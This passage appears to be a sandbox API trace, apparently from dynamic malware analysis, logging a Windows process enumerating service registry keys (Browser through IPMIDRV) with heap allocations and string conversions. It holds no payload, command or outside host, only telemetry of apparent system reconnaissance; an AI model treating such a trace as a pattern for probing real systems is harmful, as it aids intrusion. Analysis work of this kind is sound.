lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.868] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x1de4768, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0253.868] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.868] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.868] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.868] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.868] RegEnumKeyW (in: hKey=0x154, dwIndex=0x33, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Browser") returned 0x0 [0253.868] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.868] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x1de44e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0253.868] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.868] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.868] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.868] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.868] RegEnumKeyW (in: hKey=0x154, dwIndex=0x34, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0253.868] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.868] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x1de4768, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0253.868] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.868] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.868] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.868] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.868] RegEnumKeyW (in: hKey=0x154, dwIndex=0x35, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0253.869] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.869] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x1de44e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0253.869] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.869] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.869] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.869] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.869] RegEnumKeyW (in: hKey=0x154, dwIndex=0x36, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0253.869] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.869] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x1de4768, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0253.869] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.869] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.869] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.869] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.869] RegEnumKeyW (in: hKey=0x154, dwIndex=0x37, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0253.869] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.869] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x1de44e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0253.869] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.869] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.869] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.869] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.869] RegEnumKeyW (in: hKey=0x154, dwIndex=0x38, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0253.869] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.869] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x1de4768, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0253.869] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.869] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.869] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.870] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.870] RegEnumKeyW (in: hKey=0x154, dwIndex=0x39, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0253.870] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.870] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x1de44e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0253.870] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.870] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.870] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.870] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.870] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0253.870] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.870] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x1de4768, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0253.870] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.870] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.870] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.870] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.870] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0253.870] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.870] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x1de44e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0253.870] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.870] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.870] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.870] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.870] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0253.870] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.870] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x1de4768, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0253.871] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.871] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.871] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.871] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.871] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0253.871] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.871] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x1de44e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0253.871] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="circlass") returned 0x0 [0253.871] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0253.871] RegEnumKeyW (in: hKey=0x154, dwIndex=0x40, lpName=0x1dd29e0, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0253.871] RegEnumKeyW (in: hKey=0x154, dwIndex=0x41, lpName=0x1dd29e0, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0253.871] RegEnumKeyW (in: hKey=0x154, dwIndex=0x42, lpName=0x1dd29e0, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0253.871] RegEnumKeyW (in: hKey=0x154, dwIndex=0x43, lpName=0x1dd29e0, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0253.872] RegEnumKeyW (in: hKey=0x154, dwIndex=0x44, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0253.872] RegEnumKeyW (in: hKey=0x154, dwIndex=0x45, lpName=0x1dd29e0, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0253.872] RegEnumKeyW (in: hKey=0x154, dwIndex=0x46, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CNG") returned 0x0 [0253.872] RegEnumKeyW (in: hKey=0x154, dwIndex=0x47, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0253.872] RegEnumKeyW (in: hKey=0x154, dwIndex=0x48, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0253.872] RegEnumKeyW (in: hKey=0x154, dwIndex=0x49, lpName=0x1dd29e0, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0253.872] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0253.872] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0253.872] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0253.872] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CSC") returned 0x0 [0253.872] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CscService") returned 0x0 [0253.872] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0253.872] RegEnumKeyW (in: hKey=0x154, dwIndex=0x50, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0253.872] RegEnumKeyW (in: hKey=0x154, dwIndex=0x51, lpName=0x1dd29e0, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0253.872] RegEnumKeyW (in: hKey=0x154, dwIndex=0x52, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0253.872] RegEnumKeyW (in: hKey=0x154, dwIndex=0x53, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0253.872] RegEnumKeyW (in: hKey=0x154, dwIndex=0x54, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0253.873] RegEnumKeyW (in: hKey=0x154, dwIndex=0x55, lpName=0x1dd29e0, cchName=0x104 | out: lpName="discache") returned 0x0 [0253.873] RegEnumKeyW (in: hKey=0x154, dwIndex=0x56, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Disk") returned 0x0 [0253.873] RegEnumKeyW (in: hKey=0x154, dwIndex=0x57, lpName=0x1dd29e0, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0253.873] RegEnumKeyW (in: hKey=0x154, dwIndex=0x58, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0253.873] RegEnumKeyW (in: hKey=0x154, dwIndex=0x59, lpName=0x1dd29e0, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0253.873] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DPS") returned 0x0 [0253.873] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0253.873] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0253.873] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0253.873] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0253.873] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0253.873] RegEnumKeyW (in: hKey=0x154, dwIndex=0x60, lpName=0x1dd29e0, cchName=0x104 | out: lpName="EFS") returned 0x0 [0253.873] RegEnumKeyW (in: hKey=0x154, dwIndex=0x61, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0253.873] RegEnumKeyW (in: hKey=0x154, dwIndex=0x62, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0253.873] RegEnumKeyW (in: hKey=0x154, dwIndex=0x63, lpName=0x1dd29e0, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0253.873] RegEnumKeyW (in: hKey=0x154, dwIndex=0x64, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0253.874] RegEnumKeyW (in: hKey=0x154, dwIndex=0x65, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0253.874] RegEnumKeyW (in: hKey=0x154, dwIndex=0x66, lpName=0x1dd29e0, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0253.874] RegEnumKeyW (in: hKey=0x154, dwIndex=0x67, lpName=0x1dd29e0, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0253.874] RegEnumKeyW (in: hKey=0x154, dwIndex=0x68, lpName=0x1dd29e0, cchName=0x104 | out: lpName="exfat") returned 0x0 [0253.874] RegEnumKeyW (in: hKey=0x154, dwIndex=0x69, lpName=0x1dd29e0, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0253.874] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Fax") returned 0x0 [0253.874] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="fdc") returned 0x0 [0253.874] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0253.874] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0253.874] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0253.874] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0253.874] RegEnumKeyW (in: hKey=0x154, dwIndex=0x70, lpName=0x1dd29e0, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0253.874] RegEnumKeyW (in: hKey=0x154, dwIndex=0x71, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0253.874] RegEnumKeyW (in: hKey=0x154, dwIndex=0x72, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0253.874] RegEnumKeyW (in: hKey=0x154, dwIndex=0x73, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0253.874] RegEnumKeyW (in: hKey=0x154, dwIndex=0x74, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0253.874] RegEnumKeyW (in: hKey=0x154, dwIndex=0x75, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0253.875] RegEnumKeyW (in: hKey=0x154, dwIndex=0x76, lpName=0x1dd29e0, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0253.875] RegEnumKeyW (in: hKey=0x154, dwIndex=0x77, lpName=0x1dd29e0, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0253.875] RegEnumKeyW (in: hKey=0x154, dwIndex=0x78, lpName=0x1dd29e0, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0253.875] RegEnumKeyW (in: hKey=0x154, dwIndex=0x79, lpName=0x1dd29e0, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0253.875] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0253.875] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0253.875] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0253.875] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0253.875] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0253.875] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0253.875] RegEnumKeyW (in: hKey=0x154, dwIndex=0x80, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0253.875] RegEnumKeyW (in: hKey=0x154, dwIndex=0x81, lpName=0x1dd29e0, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0253.875] RegEnumKeyW (in: hKey=0x154, dwIndex=0x82, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0253.875] RegEnumKeyW (in: hKey=0x154, dwIndex=0x83, lpName=0x1dd29e0, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0253.875] RegEnumKeyW (in: hKey=0x154, dwIndex=0x84, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0253.875] RegEnumKeyW (in: hKey=0x154, dwIndex=0x85, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0253.876] RegEnumKeyW (in: hKey=0x154, dwIndex=0x86, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0253.876] RegEnumKeyW (in: hKey=0x154, dwIndex=0x87, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0253.876] RegEnumKeyW (in: hKey=0x154, dwIndex=0x88, lpName=0x1dd29e0, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0253.876] RegEnumKeyW (in: hKey=0x154, dwIndex=0x89, lpName=0x1dd29e0, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0253.876] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0253.876] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0253.876] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0253.876] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0253.876] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0253.876] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="intelide") returned 0x0 [0253.876] RegEnumKeyW (in: hKey=0x154, dwIndex=0x90, lpName=0x1dd29e0, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0253.876] RegEnumKeyW (in: hKey=0x154, dwIndex=0x91, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0253.876] RegEnumKeyW (in: hKey=0x154, dwIndex=0x92, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0253.876] RegEnumKeyW (in: hKey=0x154, dwIndex=0x93, lpName=0x1dd29e0, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0253.876] RegEnumKeyW (in: hKey=0x154, dwIndex=0x94, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 